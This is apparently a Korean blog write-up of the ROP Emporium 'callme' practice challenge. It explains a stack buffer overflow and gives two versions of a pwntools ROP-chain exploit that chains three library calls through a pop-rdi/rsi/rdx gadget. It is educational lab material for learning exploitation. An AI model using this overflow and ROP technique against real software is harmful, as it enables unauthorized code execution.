[ROP Emporium] callme
System/PWNABLE

[ROP Emporium] callme

check

- 64 bit

- NX

- Partial RELRO

Analyze

pseudo code

pwnme()

- main()함수는 앞의 문제들과 같다

- 스택 버퍼 s에 0x20byte만큼 할당하고 read 함수를 통해 0x200byte만큼 입력받을 수 있도록 되어 있다.

usefulFunction()

- callme_three(4,5,6), callme_two(4,5,6), callme_one(4,5,6)이라는 함수를 호출한다.

rop_emporium hint

callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) > callme_two(~~) > callme_three(~~) 순서로 rop chain을 만들어줘야한다.

 

gadgets

pop rdi ; pop rsi ; pop rdx ; ret ; = 0x40093c

Exploit

from pwn import *

p = process("./callme")
elf = ELF("./callme")

callme1 = elf.symbols['callme_one']
callme2 = elf.symbols['callme_two']
callme3 = elf.symbols['callme_three']

pppr = 0x40093c

a = 0xdeadbeefdeadbeef
b = 0xcafebabecafebabe
c = 0xd00df00dd00df00d

pl = "A"*(0x20 + 8)
pl += p64(pppr)
pl += p64(a)
pl += p64(b)
pl += p64(c)
pl += p64(callme1)

pl += p64(pppr)
pl += p64(a)
pl += p64(b)
pl += p64(c)
pl += p64(callme2)

pl += p64(pppr)
pl += p64(a)
pl += p64(b)
pl += p64(c)
pl += p64(callme3)

p.sendline(pl)
p.interactive()

문제의 힌트에서 준대로 callme_1(a,b,c) ; callme_2(a,b,c) ; callme_3(a,b,c)를 해주니 flag가 나왔다!

익스 코드내에 겹치는 부분이 있어서 해당 부분들을 묶어서 적을 수 있을 것 같다.

from pwn import *

p = process("./callme")
elf = ELF("./callme")

callme1 = elf.symbols['callme_one']
callme2 = elf.symbols['callme_two']
callme3 = elf.symbols['callme_three']

pppr = 0x40093c

a = 0xdeadbeefdeadbeef
b = 0xcafebabecafebabe
c = 0xd00df00dd00df00d
arg = p64(pppr) + p64(a) + p64(b) + p64(c)

pl = "A"*(0x20 + 8)
pl += arg
pl += p64(callme1)

pl += arg
pl += p64(callme2)

pl += arg
pl += p64(callme3)

p.sendline(pl)
p.interactive()

오예🐱‍🏍

SMALL

'System > PWNABLE' 카테고리의 다른 글

[ROP Emporium] write4 (재)  (0) 2021.04.17
[HackCTF] Unexploitable_1  (0) 2021.04.17
[ROP Emporium] split32  (0) 2021.03.26
[RopEmporium] split  (0) 2021.03.21
[ROP Emporium] ret2win  (0) 2021.03.18